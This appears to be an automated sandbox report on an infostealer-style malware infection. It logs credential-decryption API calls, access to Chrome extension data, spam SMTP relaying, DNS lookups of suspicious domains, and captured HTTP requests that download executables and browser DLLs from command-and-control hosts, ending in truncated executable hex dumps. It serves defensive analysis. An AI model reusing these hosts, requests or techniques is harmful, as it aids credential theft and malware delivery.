Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0040EBCB CryptUnprotectData,LocalAlloc,_memmove,LocalFree,		25_2_0040EBCB
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0040E9D0 _memset,CryptStringToBinaryA,_memmove,lstrcatA,lstrcatA,		25_2_0040E9D0

Source: unknown

HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49736 version: TLS 1.0

Source: t7p1ekMto0.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\6209.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 74.114.154.18:443 -> 192.168.2.3:49726 version: TLS 1.2

Source:	Binary string: GC:\koce.pdb source: 7DF2.exe, 0000001E.00000000.393872429.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: clrjit.pdb source: 66AE.exe, 00000018.00000002.490261299.000000001B630000.00000004.00000001.sdmp
Source:	Binary string: C:\kepad\lip3\tasel_jipiyidaje.pdb source: 6209.exe, 00000017.00000000.378396621.0000000000459000.00000002.00020000.sdmp
Source:	Binary string: C:\leyefo\80\jefupiyekasupa\gonopav-wifibagela_losulilopew43_b.pdb source: 6A0A.exe, 00000019.00000000.382793300.0000000000426000.00000002.00020000.sdmp
Source:	Binary string: C:\koce.pdb source: 7DF2.exe, 0000001E.00000000.393872429.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: P((C:\nurarudo.pdb source: t7p1ekMto0.exe, 00000000.00000000.227246080.0000000000413000.00000002.00020000.sdmp, wshgiwf, 00000010.00000000.348690097.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: C:\Users\Alexx\Desktop\QWER\DeviceCredentialDeployment\bin\Release\Secured\ConfigurationStringConstants.pdb source: 66AE.exe
Source:	Binary string: C:\nurarudo.pdb source: t7p1ekMto0.exe, 00000000.00000000.227246080.0000000000413000.00000002.00020000.sdmp, wshgiwf, 00000010.00000000.348690097.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: LC:\kepad\lip3\tasel_jipiyidaje.pdb source: 6209.exe, 00000017.00000000.378396621.0000000000459000.00000002.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0040A5EA _strtok,_strtok,__wgetenv,__wgetenv,GetLogicalDriveStringsA,_strtok,GetDriveTypeA,_strtok,

25_2_0040A5EA

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0040A24D __EH_prolog3,_sprintf,FindFirstFileA,_sprintf,_sprintf,_sprintf,PathMatchSpecA,CopyFileA,FindNextFileA,FindClose,	25_2_0040A24D
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_004625F7 __EH_prolog3_GS,FindFirstFileW,FindNextFileW,	25_2_004625F7
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00412D96 _sprintf,FindFirstFileA,_sprintf,FindNextFileA,FindClose,	25_2_00412D96
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00404F13 __EH_prolog3,_memset,_memset,_memset,_memset,lstrcpyW,lstrcatW,FindFirstFileW,lstrcpyW,lstrcatW,lstrcatW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcmpW,lstrcmpW,lstrcmpW,PathMatchSpecW,DeleteFileW,PathMatchSpecW,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileW,FindClose,_memset,_memset,_memset,_memset,_memset,_memset,_memset,_memset,FindClose,	25_2_00404F13
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00405A45 __EH_prolog3,_sprintf,FindFirstFileA,_sprintf,FindNextFileA,FindClose,	25_2_00405A45

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.97:25 -> 192.168.2.3:49752
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.74.33:25 -> 192.168.2.3:49748
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49763
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49762
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49764
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49766
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49767
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49769
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49772
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49771
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49774
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49773
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49775
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49776
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.75.76.42:25 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49779
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49780
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49782
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49781
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49785
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49784
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49788
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49787
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49789
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49790
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49791
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.6.33:25 -> 192.168.2.3:49794
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49792
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49796
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49795
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49800
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49799
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.13.33:25 -> 192.168.2.3:49801
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49802
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49803
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49804
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49805
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49806
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49808
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.13.33:25 -> 192.168.2.3:49807
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49809
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.6.33:25 -> 192.168.2.3:49810
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49812
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49813
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49815
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49816
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49817
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49818
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 66.84.121.114:25 -> 192.168.2.3:49783
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49821
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49823
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49825
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49827
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49828
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49831
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49830
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49833
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49832
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49835
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49834
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49837
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49838
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49839
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49840
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49842
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49843
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49845
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49844
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49846
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49847
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.6.33:25 -> 192.168.2.3:49848
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49849
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49850
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49851
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49853
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49852
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.6.33:25 -> 192.168.2.3:49855
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49854
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49858
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49857
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49859
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.97:25 -> 192.168.2.3:49860
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.0.33:25 -> 192.168.2.3:49862
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49861
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49864
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.3:49865
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.6.33:25 -> 192.168.2.3:49867
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49866
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49870
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.3:49871
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49873
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49872
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49874
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49875
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49877
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.55.33:25 -> 192.168.2.3:49876
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49878
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49879

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 2080
Source: unknown	Network traffic detected: HTTP traffic on port 2080 -> 49725

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\explorer.exe	DNS query: readinglistforaugust1.xyz
Source: C:\Windows\explorer.exe	DNS query: readinglistforaugust2.xyz
Source: C:\Windows\explorer.exe	DNS query: readinglistforaugust3.xyz
Source: C:\Windows\explorer.exe	DNS query: readinglistforaugust3.xyz
Source:	DNS query: readinglistforaugust3.xyz
Source:	DNS query: fastpool.xyz

Source: global traffic	HTTP traffic detected: GET /@Rarenut0.exe HTTP/1.1Host: swretjhwrtj.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /824 HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 25Host: 188.34.200.103Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CPU.exe HTTP/1.1Host: swretjhwrtj.gq
Source: global traffic	HTTP traffic detected: GET /GPU.exe HTTP/1.1Host: swretjhwrtj.gq
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467AContent-Length: 5036Host: 188.34.200.103Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:29 GMTContent-Type: application/x-msdos-programContent-Length: 24576Connection: keep-aliveKeep-Alive: timeout=3Last-Modified: Tue, 17 Aug 2021 14:34:32 GMTETag: "6000-5c9c2374e92ba"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 4b c4 db 9d 2a aa 88 9d 2a aa 88 9d 2a aa 88 1e 36 a4 88 9c 2a aa 88 f4 35 a3 88 9f 2a aa 88 74 35 a7 88 9c 2a aa 88 52 69 63 68 9d 2a aa 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee fd 3a 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 30 00 00 00 20 00 00 00 00 00 00 78 12 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 16 00 0b 00 04 00 00 00 00 00 00 00 00 60 00 00 00 10 00 00 83 62 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 2e 00 00 28 00 00 00 00 50 00 00 7c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 00 20 00 00 00 00 10 00 00 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 22 00 00 00 10 00 00 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 84 03 00 00 00 40 00 00 00 10 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 0a 00 00 00 50 00 00 00 10 00 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 24 Aug 2021 12:01:31 GMTContent-Type: application/x-msdos-programContent-Length: 433664Connection: keep-aliveKeep-Alive: timeout=3Last-Modified: Tue, 24 Aug 2021 12:01:02 GMTETag: "69e00-5ca4ce3390c60"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 87 3b e8 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 72 05 00 00 60 8a 02 00 00 00 00 1a 24 00 00 00 10 00 00 00 90 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 90 8f 02 00 04 00 00 fd 44 07 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 d0 05 00 54 00 00 00 40 c6 05 00 3c 00 00 00 00 e0 8e 02 a0 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 91 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ad 05 00 18 00 00 00 20 ad 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 51 70 05 00 00 10 00 00 00 72 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b4 40 00 00 00 90 05 00 00 42 00 00 00 76 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 f2 88 02 00 e0 05 00 00 3a 00 00 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 aa 00 00 00 e0 8e 02 00 ac 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
